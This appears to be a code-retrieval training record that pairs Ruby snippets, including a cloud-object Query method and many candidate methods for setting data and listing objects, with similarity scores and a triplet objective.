"def prompt_user(command, _name = false, _date = false, _done = false, previous_command = '', proceed = false)\n # rubocop:enable Metrics/ParameterLists\n if @done\n unless message.text.nil?\n @done = false\n @proceed = proceed\n @previous_command = previous_command\n chose_action command\n end\n else\n if !@name.empty? # rubocop:todo Style/IfInsideElse\n @done = true\n @proceed = true\n @previous_command = command\n message.text = nil\n send_message choose_message command, false, true\n else\n if command == '/add_my_birtday'\n @done = true\n else\n @name_set = true\n @done = false\n end\n @proceed = true\n @previous_command = command\n message.text = nil\n send_message choose_message command, true, false\n end\n end\n end",
"def fill_users(name, phone, email, cpf)\r\n if @home_screen = page(HomeScreen)\r\n @home_screen.create_new_user\r\n else\r\n p 'try'\r\n end\r\n\r\n enter_text(\"* id:'#{user_name}'\", name)\r\n enter_text(\"* id:'#{user_phone}'\", phone)\r\n enter_text(\"* id:'#{user_email}'\", email)\r\n enter_text(\"* id:'#{user_cpf}'\", cpf)\r\n # enter_text(\"* id:'#{user_description}'\", description)\r\n end",
"def checkout_as_existing_user(email, password)\n checkout_as_existing_user_form.user_email_input.set email\n checkout_as_existing_user_form.user_password_input.set password\n checkout_as_existing_user_form.user_checkout_btn.click\n end",
"def sign_up_candidate\n\n end",
"def sign_up(gym, cost)\n Membership.new(self, gym, cost)\n\n end",
"def signed_up(user)\n @user = user\n mail to: @user.email\n end",
"def sign_up(m, kag_nick)\n authname = m.user.authname\n nick = m.user.nick\n\n if authname.nil?\n m.reply I18n.archivarius.authname_required and return\n end\n\n if already_exists?(authname)\n m.reply I18n.archivarius.exists(nick, authname) and return\n end\n\n player = KAG::Player.new(kag_nick)\n\n if player.info['statusMessage'] == 'Player not found'\n m.reply I18n.archivarius.not_found(kag_nick) and return\n end\n\n Player.create(\n :irc_authname => authname,\n :kag_nick => player.username,\n :role => player.role,\n :premium => player.gold?\n )\n\n m.reply I18n.archivarius.success\n Bot::CHANNELS.each do |chan|\n Channel(chan).send I18n.archivarius.new_user(nick, player.username)\n end\n end"
] |
[
"0.67329925",
"0.65980184",
"0.65634817",
"0.64511585",
"0.6417748",
"0.64082086",
"0.63905174",
"0.63653237",
"0.6354242",
"0.6354242",
"0.63255936",
"0.630943",
"0.6207658",
"0.6205053",
"0.61886024",
"0.61742014",
"0.61559236",
"0.6142021",
"0.61393535",
"0.6124959",
"0.60824424",
"0.6078499",
"0.60461694",
"0.6029678",
"0.6029455",
"0.6004063",
"0.60001415",
"0.597106",
"0.5968581",
"0.59658813",
"0.5956797",
"0.59485143",
"0.5940281",
"0.59287524",
"0.5909339",
"0.59037864",
"0.5901474",
"0.58867615",
"0.5877085",
"0.5877034",
"0.5870182",
"0.58681303",
"0.58661735",
"0.5864497",
"0.5839946",
"0.58328724",
"0.58280206",
"0.5810573",
"0.5801584",
"0.5800733",
"0.5800733",
"0.579927",
"0.57986546",
"0.57839626",
"0.5779872",
"0.5773864",
"0.5771402",
"0.57682055",
"0.57561815",
"0.5753169",
"0.5732006",
"0.5729013",
"0.57179147",
"0.5715184",
"0.5703464",
"0.5701085",
"0.5701085",
"0.5697368",
"0.5694318",
"0.56810534",
"0.5675151",
"0.56714857",
"0.5670958",
"0.56599456",
"0.5659529",
"0.56519157",
"0.5650858",
"0.5650115",
"0.56464636",
"0.56462437",
"0.56430584",
"0.5639537",
"0.5634159",
"0.56295425",
"0.5626143",
"0.56254953",
"0.5622915",
"0.56199527",
"0.5607931",
"0.56071705",
"0.5602846",
"0.56015354",
"0.55993617",
"0.5599188",
"0.55871135",
"0.5586768",
"0.55760026",
"0.5572886",
"0.5571711",
"0.5570472",
"0.5562842"
] |
0.0
|
-1
|
Functions used to set simple data/Object for controller/process function call. TODO: to revisit this function, as we may consider simple data, as ForjLib::Data object
|
def []= (*key, value)
return nil if [:object, :query].include?(key[0])
rhSet(@hParams, value, key)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def init_data\n end",
"def data=(_arg0); end",
"def data=(_arg0); end",
"def data=(_arg0); end",
"def data=(_arg0); end",
"def do_data(data); end",
"def object(data)\n @_data = data unless @_locals[:object]\n end",
"def initialize_data\n end",
"def perform\n\n set_user(@data['user'])\n\n set_client_token(@data['client_token'])\n\n set_oracle_price_points(@data['oracle_price_points'])\n\n set_pending_critical_interactions(@data['pending_critical_interactions']) if @data['pending_critical_interactions'].present?\n\n set_client_token_planner(@data['client_token_planner']) if @data['client_token_planner'].present?\n\n set_chain_interaction_params(@data['chain_interaction_params']) if @data['chain_interaction_params'].present?\n\n set_client_balances(@data['client_balances']) if @data['client_balances'].present?\n\n set_token_supply_details(@data['token_supply_details']) if @data['token_supply_details'].present?\n\n set_client_stats(@data['client_stats']) if @data['client_stats'].present?\n\n set_api_console_data(@data['api_console_data']) if @data['api_console_data'].present?\n\n set_client_bt_addresses_data(@data['client_bt_addresses']) if @data['client_bt_addresses'].present?\n\n end",
"def data= data \n end",
"def initialize data\n @data = data\n end",
"def initialize data\n self.data = data\n end",
"def initialize data\n self.data = data\n end",
"def initialize data\n self.data = data\n end",
"def initialize data\n self.data = data\n end",
"def initialize data\n self.data = data\n end",
"def initialize data\n self.data = data\n end",
"def initialize data\n self.data = data\n end",
"def initialize data\n self.data = data\n end",
"def set_meta(data)\n \n data[LASERID] = self.identity.chomp\n data[LASER_CURRENT] = self.laser_current.chomp\n data[PIEZO_WAVEFORM] = self.piezo_waveform.chomp\n data[PIEZO_FREQUENCY] = self.piezo_frequency.chomp\n data[PIEZO_AMPLITUDE] = self.piezo_amplitude.chomp\n data[PIEZO_OFFSET] = self.piezo_offset.chomp\n data[PIEZO_VOLTAGE] = self.piezo_voltage.chomp\n data[LASER_TEMP] = self.laser_temperature.chomp\n data[CC_ENABLE] = self.cc_enable.chomp\n\n end",
"def lbSetData _obj, _args\n \"_obj lbSetData _args;\" \n end",
"def data(*args); end",
"def initWithData data\n cafe_detail_controller = CafeDetailViewController.alloc.init\n cafe_detail_controller.name = data[:name]\n cafe_detail_controller.description = data[:description]\n cafe_detail_controller.address = data[:address]\n cafe_detail_controller.phone = data[:phone]\n cafe_detail_controller.buildView \n cafe_detail_controller \n end",
"def fill_with_data(data)\n if data.include? \"id\"\n @id = data[\"id\"]\n end\n if data.include? \"project\"\n @project = data[\"project\"]\n end\n if data.include? \"gateway\"\n @gateway = data[\"gateway\"]\n end\n if data.include? \"enabled\"\n @enabled = data[\"enabled\"]\n end\n if data.include? \"public_keys\"\n @public_keys = data[\"public_keys\"]\n end\n \n self\n end",
"def object=(_arg0); end",
"def object=(_arg0); end",
"def object=(_arg0); end",
"def object=(_arg0); end",
"def post_data=(_arg0); end",
"def initialize(data)\n\t\t@data = data\n\tend",
"def data; end",
"def data; end",
"def data; end",
"def data; end",
"def data; end",
"def data; end",
"def data; end",
"def data; end",
"def data; end",
"def data; end",
"def data; end",
"def data; end",
"def data= a; @data = a ;end",
"def data=(data)\n @data = data\n end",
"def prepare_data\n # This method is just a stub.\n end",
"def initialize(data)\n @data = data\nend",
"def initialize(data)\n self.data = (self.respond_to? :prepare_data)? prepare_data(data): data\n self\n end",
"def initialize\n @data = Data.instance\n end",
"def load_object(robject, data)\n robject.raw_data = data[:value]\n robject.content_type = data[:content_type]\n robject.links = data[:links]\n robject.indexes = data[:indexes]\n robject.meta = data[:meta]\n robject.etag = data[:etag]\n robject.last_modified = data[:last_modified]\n robject.vclock = data[:vclock]\n robject\n end",
"def tvData _obj, _args\n \"_obj tvData _args;\" \n end",
"def set_data(key=nil, value)\n @data ||= {}\n @data[key] = value\n end",
"def controller=(_arg0); end",
"def controller=(_arg0); end",
"def controller=(_arg0); end",
"def data(nom = :default, model_class = nil, attr_mapping = { }, &block)\n @data[nom.to_sym] = {\n :block => block,\n :model => model_class,\n :attrs => attr_mapping\n }\n @data_keys << nom.to_sym\n end",
"def data(nom = :default, model_class = nil, attr_mapping = { }, &block)\n @data[nom.to_sym] = {\n :block => block,\n :model => model_class,\n :attrs => attr_mapping\n }\n @data_keys << nom.to_sym\n end",
"def data=(data)\n @data = data\n end",
"def setup_object_for_schema\n data_collection_names.each.with_index do |data_collection_name, i|\n # define getter\n self.define_singleton_method(var_names[i]) do\n @data_collections[i]\n end\n # define setter\n self.define_singleton_method((data_collection_names[i].to_s + \"=\").to_sym) do |val|\n @data_collections[i] = val\n end\n end\n \n data_object_names.each.with_index do |data_object_name, i|\n # getters\n self.define_singleton_method(data_object_name) do\n @data_objects[i]\n end\n # setters\n self.define_singleton_method((data_object_name.to_s + \"=\").to_sym) do |val|\n @data_objects[i] = val\n end\n end\n \n end",
"def data needed=nil\n unless @data\n @data = {\n obj_type_singular: object_type,\n obj_type_plural: object_type(true),\n human_name: human_name(false, false),\n human_name_capitalize: human_name(false, true),\n human_name_plural: human_name(true, false),\n human_name_plural_capitalize: human_name(true, true)\n }\n # templateData.subs.picdata ||= templateData.subs.picurl || \"/assets/NoPictureOnFile.png\" # Default\n\n if @object\n toget = needed || (@object.class.mass_assignable_attributes + [:id])\n toget.each { |key|\n key = key.to_sym\n @data[key] = @object.send(key) if @object.respond_to? key\n }\n end\n end\n @data\n end",
"def default_data\n end",
"def initialize(data)\n @data = data\n end",
"def initialize(data)\n @data = data\n end",
"def call\n data\n end",
"def always_return(data)\n @data[:default] = data\n @data_set = true\n self\n end",
"def data\n @data ||= @_data.respond_to?(:call) ? @_data.call() : @_data\n end",
"def initialize(data)\n\n end",
"def data=(obj, klass = obj.class)\n\t\twrite_local(:klass, klass.to_s)\n\t\twrite_local(:data, obj.to_s)\n\t\t@klass = klass.to_s\n\t\t@data = obj.to_s\n\tend",
"def set_data_generator\n qindex = 0\n attrargs = {}\n path = request.fullpath\n if path.include?(\"?\")\n qindex = path.index(\"?\")\n puts 'path[qindex + 1..-1]: ' + path[qindex + 1..-1]\n # attrargs = path[qindex + 1..-1].split(\"=\").last\n attrargs = path[qindex + 1..-1].split(\"&\").map { |a| a.split(\"=\") }.to_h\n end\n datatype = path[1..qindex - 1].split(\"/\")\n datatype.shift(2)\n\n puts '---------------------------'\n puts 'params: ' + params.to_s\n puts 'request.path: ' + request.path\n puts 'request.fullpath: ' + request.fullpath\n puts 'qindex: ' + qindex.to_s\n puts 'datatype: ' + datatype.to_s\n puts 'attrargs: ' + attrargs.to_s\n @datagenerator = DataGenerator.find(datatype, attrargs)\n end",
"def data(*args, &block)\n Data.new(*args, &block).define!(self.is_a?(Module) ? self : Kernel)\n end",
"def value=(value); self.data.value = value; end",
"def initialize(data)\n @data = data\n end",
"def initialize(data)\n @data = data\n end",
"def initialize(data)\n @data = data\n end",
"def initialize(data)\n @data = data\n end",
"def initialize(data)\n data.each do |key, value|\n instance_variable_set \"@#{key}\", value\n self.class.send(\n :define_method,\n key.to_sym,\n lambda { instance_variable_get(\"@#{key}\") }\n )\n end\n end",
"def initialize(data)\n data.each do |key, value|\n instance_variable_set \"@#{key}\", value\n self.class.send(\n :define_method,\n key.to_sym,\n lambda { instance_variable_get(\"@#{key}\") }\n )\n end\n end",
"def initialize\n super()\n init_data()\n end",
"def set_data(file_name,obj)\n self.file_name = file_name\n dd= self.document_data.nil? ? DocumentData.new : self.document_data\n dd.data = obj\n dd.document_version=self\n if dd.save\n return true, self\n else\n return false, dd\n end\n \n end",
"def send_data(data)\n case data\n when nil\n put_string(\"NIL\")\n when String\n send_string_data(data)\n when Integer\n send_number_data(data)\n when Array\n send_list_data(data)\n when Time\n send_time_data(data)\n when Symbol\n send_symbol_data(data)\n else\n data.send_data(self)\n end\nend",
"def DataType=(arg0)",
"def initialize(data) # will accept the attribute data. \r\n\r\n @data = data # store the attribute data, and allows it to be used each time. \r\n\r\n end",
"def initialize(object)\n @id = object[\"id\"]\n @data = object[\"data\"]\n end",
"def fill_with_data(data)\n if data.include? \"id\"\n @id = data[\"id\"]\n end\n if data.include? \"project\"\n @project = data[\"project\"]\n end\n if data.include? \"customer\"\n @customer = data[\"customer\"]\n end\n if data.include? \"token\"\n @token = data[\"token\"]\n end\n if data.include? \"url\"\n @url = data[\"url\"]\n end\n if data.include? \"authorized\"\n @authorized = data[\"authorized\"]\n end\n if data.include? \"name\"\n @name = data[\"name\"]\n end\n if data.include? \"currency\"\n @currency = data[\"currency\"]\n end\n if data.include? \"return_url\"\n @return_url = data[\"return_url\"]\n end\n if data.include? \"cancel_url\"\n @cancel_url = data[\"cancel_url\"]\n end\n if data.include? \"custom\"\n @custom = data[\"custom\"]\n end\n if data.include? \"sandbox\"\n @sandbox = data[\"sandbox\"]\n end\n if data.include? \"created_at\"\n @created_at = data[\"created_at\"]\n end\n \n self\n end",
"def prepare_data\n\t\t\tsuper\n\t\t\t@data[:tuneable_data] = @tuneable_data\n\t\t\t@data[:@lowest_old] = @lowest_old\n\t\tend",
"def process(data, object)\n data[:function].blank? ? object.to_s : send(data[:function].to_sym, object.to_s)\n end",
"def data() @data ||= Data.new( self ); end",
"def initialize data,ref\n\t\t@data=data\n\t\t@ref=ref\n\tend",
"def set_data(data)\n @preset_data = data || []\n refresh\n end",
"def initialize(input_data)\n @data = input_data\n end",
"def initialize(data)\n @data = data\n end",
"def initialize(data)\n @data = data\n end",
"def initialize(data)\n @data = data\n end",
"def fill_with_data(data)\n if data.include? \"id\"\n @id = data[\"id\"]\n end\n if data.include? \"project\"\n @project = data[\"project\"]\n end\n if data.include? \"brand\"\n @brand = data[\"brand\"]\n end\n if data.include? \"type\"\n @type = data[\"type\"]\n end\n if data.include? \"bank_name\"\n @bank_name = data[\"bank_name\"]\n end\n if data.include? \"level\"\n @level = data[\"level\"]\n end\n if data.include? \"iin\"\n @iin = data[\"iin\"]\n end\n if data.include? \"last_4_digits\"\n @last_4_digits = data[\"last_4_digits\"]\n end\n if data.include? \"exp_month\"\n @exp_month = data[\"exp_month\"]\n end\n if data.include? \"exp_year\"\n @exp_year = data[\"exp_year\"]\n end\n if data.include? \"metadata\"\n @metadata = data[\"metadata\"]\n end\n if data.include? \"sandbox\"\n @sandbox = data[\"sandbox\"]\n end\n if data.include? \"created_at\"\n @created_at = data[\"created_at\"]\n end\n \n self\n end",
"def initialize(_ = {})\n @data = {}\n end",
"def set_client_data\n @client_data = { controller: controller_name, action: action_name }\n end",
"def model=(_arg0); end",
"def model=(_arg0); end",
"def model=(_arg0); end",
"def model=(_arg0); end",
"def perform\n set_token(@data['token'])\n set_stake_currencies(@data['stake_currencies'])\n set_all_stake_currencies(@data['all_stake_currencies']) if @data['all_stake_currencies'].present?\n set_price_points(@data['price_points'])\n set_manager(@data['manager']) if @data['manager'].present?\n set_client(@data['client']) if @data['client'].present?\n set_client_manager(@data['client_manager'])\n set_contract_details(@data['contract_details'])\n set_gas_price(@data['gas_price'])\n set_auxiliary_addresses(@data['auxiliary_addresses'])\n set_origin_addresses(@data['origin_addresses'])\n set_workflow(@data['workflow'])\n set_workflow_current_step(@data['workflow_current_step'])\n set_sign_messages(@data['sign_messages'])\n set_workflow_payload(@data['workflow_payload'])\n set_sub_env_payload(@data['sub_env_payloads']) if @data['sub_env_payloads'].present?\n set_developer_page_addresses(@data['developer_page_addresses']) if @data['developer_page_addresses'].present?\n set_api_keys(@data['api_keys']) if @data['api_keys'].present?\n set_email_already_sent_flag(@data['email_already_sent_flag']) if @data['email_already_sent_flag'].present?\n set_webhook_enabled_flag(@data['webhook_enabled_flag']) if @data['webhook_enabled_flag'].present?\n set_dashboard_details(@data['dashboard_details']) if @data['dashboard_details'].present?\n set_graph_urls(@data['graph_urls']) if @data['graph_urls'].present?\n set_test_economy_details(@data['test_economy_details']) if @data['test_economy_details'].present?\n set_min_balances(@data['min_balances']) if @data['min_balances'].present?\n set_webhook_secrets(@data['webhook_secrets']) if @data['webhook_secrets'].present?\n end",
"def setFormation _obj, _args\n \"_obj setFormation _args;\" \n end"
] |
[
"0.6435117",
"0.6429237",
"0.6429237",
"0.6429237",
"0.6429237",
"0.6381962",
"0.63081616",
"0.6229137",
"0.6197975",
"0.6161204",
"0.5970299",
"0.5964407",
"0.5964407",
"0.5964407",
"0.5964407",
"0.5964407",
"0.5964407",
"0.5964407",
"0.5964407",
"0.58748496",
"0.5870205",
"0.5850176",
"0.579791",
"0.5780345",
"0.57795364",
"0.57795364",
"0.57795364",
"0.57795364",
"0.5757245",
"0.575686",
"0.5753706",
"0.5753706",
"0.5753706",
"0.5753706",
"0.5753706",
"0.5753706",
"0.5753706",
"0.5753706",
"0.5753706",
"0.5753706",
"0.5753706",
"0.5753706",
"0.57424307",
"0.57184106",
"0.5715415",
"0.5705065",
"0.5686051",
"0.5671392",
"0.564195",
"0.56243217",
"0.5619001",
"0.5617603",
"0.5617603",
"0.5617603",
"0.5610262",
"0.5610262",
"0.56072015",
"0.5606683",
"0.5594062",
"0.5586827",
"0.5586189",
"0.55765986",
"0.5571648",
"0.5561784",
"0.5555847",
"0.55557424",
"0.5549699",
"0.5543391",
"0.5525226",
"0.55092317",
"0.5504478",
"0.5504478",
"0.5504478",
"0.5504478",
"0.55037165",
"0.55037165",
"0.5500757",
"0.54826576",
"0.5478267",
"0.5460144",
"0.5454867",
"0.544999",
"0.5437901",
"0.54339576",
"0.54338473",
"0.5420679",
"0.54138917",
"0.5412514",
"0.5412468",
"0.5411341",
"0.5411341",
"0.5411341",
"0.5395871",
"0.53907394",
"0.53849036",
"0.53809",
"0.53809",
"0.53809",
"0.53809",
"0.537109",
"0.53618145"
] |
0.0
|
-1
|
This function returns a list of objects
|
def Query(sCloudObj, hQuery)
return nil if not sCloudObj
raise ForjError.new(), "$s.Get: '%s' is not a known object type." % [self.class, sCloudObj] if rhExist?(@@meta_obj, sCloudObj) != 1
# Check if we can re-use a previous query
oList = @ObjectData[:query, sCloudObj]
unless oList.nil?
if oList[:query] == hQuery
ForjLib.debug(3, "Using Object '%s' query cache : %s" % [sCloudObj, hQuery])
return oList
end
end
pProc = rhGet(@@meta_obj, sCloudObj, :lambdas, :query_e)
return nil if pProc.nil?
# Check required parameters
oObjMissing = _check_required(sCloudObj, :query_e, pProc).reverse
while oObjMissing.length >0
sElem = oObjMissing.pop
raise ForjError.new(),"Unable to create Object '%s'" % sElem if not Create(sElem)
oObjMissing = _check_required(sCloudObj, :query_e, pProc).reverse
raise ForjError.new(), "loop detection: '%s' is required but Query(%s) did not loaded it." % [sElem, sElem] if oObjMissing.include?(sElem)
end
@RuntimeContext[:oCurrentObj] = sCloudObj # Context: Default object used.
# build Function params to pass to the Process Event handler.
aParams = _get_object_params(sCloudObj, :query_e, pProc)
# Call the process function.
# At some point, the process will call the controller, via the framework.
# This controller call via the framework has the role to
# create an ObjectData well formatted, with _return_map function
# See Definition.connect/create/update/query/get functions (lowercase)
oObject = @oForjProcess.method(pProc).call(sCloudObj, hQuery, aParams)
# return usually is the main object that the process called should provide.
unless oObject.nil?
# Save Object if the object has been created by the process, without controller
@ObjectData.add(oObject)
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def objects\n return @objects unless @objects.nil?\n objs = []\n dict = @instance.getDictionary\n (0 ... dict.getChildCount).each do |i|\n obj = dict.getChildAt(i)\n objs << {\n :name => obj.getName,\n :qual => obj.getQualification.toString.downcase.to_sym,\n :type => obj.getType.toString.downcase.to_sym,\n :object => obj,\n }\n end\n @objects = objs\n end",
"def list_objects\n objects = @model_class.method(:list).arity == 0 ? @model_class.list : @model_class.list(true)\n objects.map { |obj| Array(obj).find { |o| o.is_a?(@model_class) } }\n end",
"def getObjects\n readObjects\n\n return @Objects\n end",
"def objects\n @objects ||= []\n end",
"def objects\n @objects ||= []\n end",
"def list\n get(format(LIST)).collect do |obj| \n GistObject.new(obj)\n end\n end",
"def all_as_objects\n table_name = self.to_s.pluralize\n \n results = CONNECTION.execute(\"SELECT * FROM #{table_name};\")\n \n results_as_objects = []\n \n results.each do |result_hash|\n \n results_as_objects << self.new(result_hash)\n \n end\n \n return results_as_objects\n \n end",
"def list_objects\n list_names.each_with_object([]) do |name, objects|\n begin\n objects << restore(name)\n rescue\n end\n end\n end",
"def objects\n @objects ||= []\n end",
"def all_objects; end",
"def get_objects_of_class(obj)\n get_objects_of_class_by_class_name(obj)\n end",
"def collect_objects\n results = []\n begin\n object_ids.each do |model_name, ids|\n results << model_name.to_s.constantize.find(ids)\n end\n results.flatten\n # rescue ActiveRecord::RecordNotFound\n # generate_objects!\n # collect_objects\n end\n end",
"def extract_list(object)\n Entities::List.from_object(object)\n end",
"def list(*key)\n objects(*key).to_a\n end",
"def get_list(objs)\n new_list = []\n if objs and defined? Rho::RhoConfig::sources[self.name.to_s]\n attrib_length = Rho::RhoConfig::sources[self.name.to_s]['attribs'].length\n list_length = 0\n list_length = (objs.length / attrib_length) unless attrib_length == 0\n new_obj = nil\n # iterate over the array and determine object\n # structure based on attribute/value pairs\n list_length.times do |i|\n new_obj = get_new_obj(objs[i*attrib_length])\n attrib_length.times do |j|\n # setup index and assign accessors\n idx = i*attrib_length+j\n begin\n # only update attributes if they belong\n # to the current object\n if objs[idx]['object'] == strip_braces((new_obj.send 'object'.to_sym))\n attrib = objs[idx]['attrib'].to_s\n value = objs[idx]['value'].to_s\n new_obj.send attrib.to_sym, value\n end\n rescue\n puts \"failed to reference objs[#{idx}]...\"\n end\n end\n new_list << new_obj\n end\n else\n # source attributes are not initialized, \n # try again\n RhomObjectFactory::init_sources\n end\n new_list\n end",
"def collect_objects\n results = []\n generate_objects! if object_ids.nil?\n begin\n object_ids.each do |model_name, ids|\n results << model_name.to_s.constantize.find(ids)\n end\n results.flatten\n rescue ActiveRecord::RecordNotFound\n generate_objects!\n collect_objects\n end\n end",
"def get_objects_of_class_by_class_name(class_name)\n var_array = []\n @objects.each do |_k, v|\n var_array.push(v) if v.class.to_s == class_name.to_s\n end\n var_array\n end",
"def objects; end",
"def all_objects\n objects = {\n \"Strawberries\" => get_strawberries,\n \"Mushrooms\" => get_mushrooms,\n \"Monsters\" => get_monsters,\n \"Persons\" => get_persons\n }\n end",
"def results_as_objects(results)\n array_of_objects = []\n results.each do |hash|\n array_of_objects << self.new(hash)\n end\n return array_of_objects\n end",
"def get_objects(data)\n get_block_data(data, /obj/, /endobj/, 6).collect { |o| get_chunk(o) }.compact\n end",
"def listBooks\n # not sure how we go from Book class to books array, so this method does not work, \n # because there is no books array.\n # http://stackoverflow.com/questions/14532844/ruby-array-of-objects-classes\n # books = [@bookname]\n # Book.all_instances\n books.each do |book|\n puts book\n end\n end",
"def object_instances\n return [] if object_definition.blank?\n \n latest_version = ::AP::VoiceExtension::Voice::Config.instance.latest_version\n klazz = \"::#{latest_version.upcase}::#{object_definition.name}\".constantize\n query_scope = object_definition.query_scope\n objects = klazz.respond_to?(query_scope.to_sym) ? klazz.send(query_scope.to_sym) : []\n if objects.blank?\n return []\n else\n return objects\n end\n end",
"def listObjects _obj, _args\n \"_obj listObjects _args;\" \n end",
"def list\n self.class.list\n end",
"def items\n items = []\n iter = @obj.items\n\n while (i = iter.next)\n items << i\n end\n\n items\n end",
"def get_all_sobjects(type)\n case type\n when 'Account'\n records = @client.materialize(type).query(\"Agents__c != ''\")\n when 'ccrmbasic__Email__c'\n records = @client.materialize(type).query(\"ccrmbasic__Contact__c != ''\")\n else\n records = @client.materialize(type).all\n end\n sobjects = records.dup.to_a\n while records.next_page?\n sobjects += records.next_page\n records = records.next_page\n end\n sobjects\n end",
"def results_as_objects(results)\n results_as_objects = []\n results.each do |result_hash|\n results_as_objects << self.new(result_hash)\n end\n return results_as_objects \n end",
"def all\n # Figure out the table's name from the class we're calling the method on.\n table_name = self.to_s.pluralize.underscore\n \n results = CONNECTION.execute(\"SELECT * FROM #{table_name}\")\n\n results_as_objects = []\n \n results.each do |result_hash|\n results_as_objects << self.new(result_hash)\n end\n \n return results_as_objects\n end",
"def all\n id_list = redis.zrange \"#{klass}:all\", 0, -1\n\n obj_list = []\n id_list.each do |obj_id|\n obj = self.new\n obj.send(:id=, obj_id.to_i)\n obj_list << obj\n end\n\n obj_list\n end",
"def items\n items, iter = [], @obj.items\n while (i = iter.next) do\n items << i\n end\n items\n end",
"def get_all_objects(class_name, count)\n per_page = 1000\n objects = []\n times = [(count/per_page.to_f).ceil, 10].min\n 0.upto(times) do |offset|\n query = Parse::Query.new(class_name)\n query.limit = per_page\n query.skip = offset * per_page\n objects << query.get\n end\n objects.flatten(1)\n end",
"def all\n # Figure out the table's name from the class we're calling the method on.\n table_name = self.to_s.pluralize.underscore\n \n results = CONNECTION.execute(\"SELECT * FROM #{table_name}\")\n # TODO put these lines back in and create another method to turn results_as_objects array of \n # objects in to array of hashes!!!!!!!\n results_as_objects = []\n\n results.each do |result_hash|\n results_as_objects << self.new(result_hash)\n end\n return results_as_objects\n end",
"def all\n table_name = self.to_s.pluralize.underscore\n results = DATABASE.execute(\"SELECT * FROM #{table_name}\")\n \n results_as_objects = []\n \n results.each do |result_hash|\n results_as_objects << self.new(result_hash)\n end\n return results_as_objects\n end",
"def load_objects\n objects = []\n [@opts[:organization_data], @opts[:ticket_data], @opts[:user_data]]\n .zip(['organization', 'ticket', 'user'])\n .map do |file_paths, object_type|\n file_paths.each do |file_path|\n read_objects = JSON.parse File.read(file_path)\n read_objects.each { |o| o['_type'] = object_type }\n objects.concat read_objects\n end\n end\n return objects\n end",
"def all\n results = CONNECTION.execute(\"SELECT * FROM #{get_table_name}\")\n\n results_as_objects = []\n\n results.each do |results_hash|\n results_as_objects << self.new(results_hash)\n end\n\n return results_as_objects\n end",
"def list\n return @list\n end",
"def list_sobjects\n describe.collect { |sobject| sobject['name'] }\n end",
"def list_by_class(uuid_list, klass)\n PBXObjectList.new(klass, @project) do |list|\n list.let(:uuid_scope) do\n # TODO why does this not work? should be more efficient.\n #uuid_list.select do |uuid|\n #@project.objects_hash[uuid]['isa'] == klass.isa\n #end\n uuid_list.map { |uuid| @project.objects[uuid] }.select { |o| o.is_a?(klass) }.map(&:uuid)\n end\n list.let(:push) do |new_object|\n # Add the uuid of a newly created object to the uuids list\n uuid_list << new_object.uuid\n end\n yield list if block_given?\n end\n end",
"def list\n raise NotImplementedError\n end",
"def all\n # Figure out the table's name from the class we're calling the method on.\n table_name = self.to_s.pluralize.underscore\n \n results = QUIZ.execute(\"SELECT * FROM #{table_name}\")\n results_as_objects = []\n \n results.each do |result_hash|\n results_as_objects << self.new(result_hash)\n end\n return results_as_objects\n end",
"def objects\n @objects ||= begin\n raw_objects = @data['objects'] || []\n raw_objects.map do |object|\n if object.is_a?(Hash)\n # TODO: assumes it has the right keys.\n object\n else\n {\n item: object,\n description: nil\n }\n end\n end\n end\n end",
"def objects\n objects = []\n params[:format] = 'xml' unless params[:format]\n if !params[:overlap].nil? and params[:overlap] == \"true\" #if we want to include objects that can fall onto the edge of the range\n objects = Feature.find_in_range(params[:reference_id], params[:start], params[:end], params[:id])\n else #if we want to include only objects entirely within the range\n objects = Feature.find_in_range_no_overlap(params[:reference_id], params[:start], params[:end], params[:id])\n end\n objects.delete_if { |obj| obj.feature != params[:type] } if !params[:type].nil?\n #respond(objects, params[:format])\n respond objects\n end",
"def all\n load_all! unless @objs_list\n @objs_list.values\n end",
"def all\n table_name = self.table_name\n \n results = CONNECTION.execute(\"SELECT * FROM '#{table_name}';\")\n\n results_as_objects = []\n \n results.each do |result_hash|\n results_as_objects << self.new(result_hash)\n end\n \n return results_as_objects\n end",
"def items\n @items = []\n @data.each do |object_data|\n if object_data[\"type\"]\n @items << \"Skydrive::#{object_data[\"type\"].capitalize}\".constantize.new(client, object_data)\n elsif object_data[\"id\"].match /^comment\\..+/\n @items << Skydrive::Comment.new(client, object_data)\n end\n end\n @items\n end",
"def objects\n @@objects ||= []\n end",
"def all_objects\n processed_rows.collect { |_i, rp| rp.all_objects }.flatten\n end",
"def get_list\n \t@items\n end",
"def elements\n # execute query\n ordered_objects.compact.uniq\n end",
"def get_items\r\n @list\r\n end",
"def find_all\n response = fetch()\n new(response)\n end",
"def list\n @@list\n end",
"def list\n get()\n end",
"def models_list\n ModelsList.to_a\n end",
"def get_objects(syncer, query, status)\n\t\traise \"getObjects: Not Implemented\"\n\t\t\n\t\t# object_list = []\n\t\t# #for each object that matches the query\n\t\t# # object = an active record database object that contains the information from the store object\n\t\t# # store_object_id = the object_id of the store object\n\t\t# object.set_dbID(syncer, self, store_object_id)\n\t\t# object_list.push(object)\n\t\t# #end\n\t\t# return object_list\n\tend",
"def all_objects(opts = {})\n objects(\"*\", opts)\n end",
"def list\n @list ||= []\n end",
"def list\n @list ||= []\n end",
"def get_all\n Rutodo::Database::Todo.map(&:as_entity)\n end",
"def objects\n @objects ||= population_group_members.collect(&:objects).flatten.uniq\n end",
"def instances #:nodoc:\n r = []\n ObjectSpace.each_object(self) { |mod| r << mod }\n r\n end",
"def objects(params = {})\n Proxy.new(lambda { list_bucket(params) }, :owner => self, :extend => ObjectsExtension)\n end",
"def list\n @List\n end",
"def to_a; @list; end",
"def list\n return @lists\n end",
"def load_scraped_objects\n {}.tap do |objects|\n @store.read_multi(@store.entries).each do |properties|\n object = load_scraped_object(properties)\n objects[object._id] = object\n end\n end\n end",
"def create_object_list(section, mapper)\n @api.objects\n .select { |o| section.key?(o.name) }\n .map do |o|\n Hash[section[o.name].map { |file| mapper.call(o, file) }]\n end\n end",
"def list\n @list\n end",
